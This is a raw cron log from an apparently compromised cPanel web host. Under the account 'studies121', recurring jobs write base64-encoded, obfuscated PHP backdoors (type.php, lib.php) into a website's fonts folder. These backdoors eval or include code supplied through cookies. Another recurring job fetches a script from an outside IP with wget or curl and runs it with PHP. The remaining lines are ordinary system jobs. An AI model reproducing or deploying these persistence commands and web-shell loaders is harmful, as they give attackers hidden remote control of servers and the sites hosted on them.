Aug 31 12:28:01 ip-184-168-122-23 CROND[30891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:28:01 ip-184-168-122-23 CROND[30893]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:28:01 ip-184-168-122-23 CROND[30892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:28:01 ip-184-168-122-23 CROND[30894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:29:01 ip-184-168-122-23 CROND[31274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:29:01 ip-184-168-122-23 CROND[31276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:29:01 ip-184-168-122-23 CROND[31278]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:29:01 ip-184-168-122-23 CROND[31279]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:30:01 ip-184-168-122-23 CROND[31488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:30:01 ip-184-168-122-23 CROND[31489]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Aug 31 12:30:01 ip-184-168-122-23 CROND[31491]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 12:30:01 ip-184-168-122-23 CROND[31494]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:30:01 ip-184-168-122-23 CROND[31497]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:30:01 ip-184-168-122-23 CROND[31500]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:30:01 ip-184-168-122-23 CROND[31501]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 12:30:01 ip-184-168-122-23 CROND[31498]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 12:30:01 ip-184-168-122-23 CROND[31499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:31:01 ip-184-168-122-23 CROND[31741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:31:01 ip-184-168-122-23 CROND[31742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:31:01 ip-184-168-122-23 CROND[31743]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 12:31:01 ip-184-168-122-23 CROND[31744]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:31:01 ip-184-168-122-23 CROND[31745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:32:01 ip-184-168-122-23 CROND[32011]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:32:01 ip-184-168-122-23 CROND[32012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:32:01 ip-184-168-122-23 CROND[32014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:32:01 ip-184-168-122-23 CROND[32016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:32:01 ip-184-168-122-23 CROND[32019]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:33:01 ip-184-168-122-23 CROND[32107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:33:01 ip-184-168-122-23 CROND[32109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:33:01 ip-184-168-122-23 CROND[32110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:33:01 ip-184-168-122-23 CROND[32112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:34:01 ip-184-168-122-23 CROND[32287]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:34:01 ip-184-168-122-23 CROND[32290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:34:01 ip-184-168-122-23 CROND[32289]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:34:01 ip-184-168-122-23 CROND[32291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:34:01 ip-184-168-122-23 CROND[32292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:35:01 ip-184-168-122-23 CROND[32437]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:35:01 ip-184-168-122-23 CROND[32439]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 31 12:35:01 ip-184-168-122-23 CROND[32440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:35:01 ip-184-168-122-23 CROND[32442]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 12:35:01 ip-184-168-122-23 CROND[32443]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 12:35:01 ip-184-168-122-23 CROND[32444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:35:01 ip-184-168-122-23 CROND[32445]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 12:35:01 ip-184-168-122-23 CROND[32441]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:36:01 ip-184-168-122-23 CROND[32571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:36:01 ip-184-168-122-23 CROND[32574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:36:01 ip-184-168-122-23 CROND[32575]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:36:01 ip-184-168-122-23 CROND[32572]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:36:01 ip-184-168-122-23 CROND[32573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:37:01 ip-184-168-122-23 CROND[32692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:37:01 ip-184-168-122-23 CROND[32695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:37:01 ip-184-168-122-23 CROND[32696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:37:01 ip-184-168-122-23 CROND[32694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:38:01 ip-184-168-122-23 CROND[353]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 12:38:01 ip-184-168-122-23 CROND[355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:38:01 ip-184-168-122-23 CROND[356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:38:01 ip-184-168-122-23 CROND[357]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:38:01 ip-184-168-122-23 CROND[359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:39:02 ip-184-168-122-23 CROND[617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 12:39:02 ip-184-168-122-23 CROND[618]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 12:39:02 ip-184-168-122-23 CROND[610]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 12:39:02 ip-184-168-122-23 CROND[616]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 12:39:02 ip-184-168-122-23 CROND[619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 12:40:01 ip-184-168-122-23 CROND[733]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 12:40:01 ip-184-168-122-23 CROND[734]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
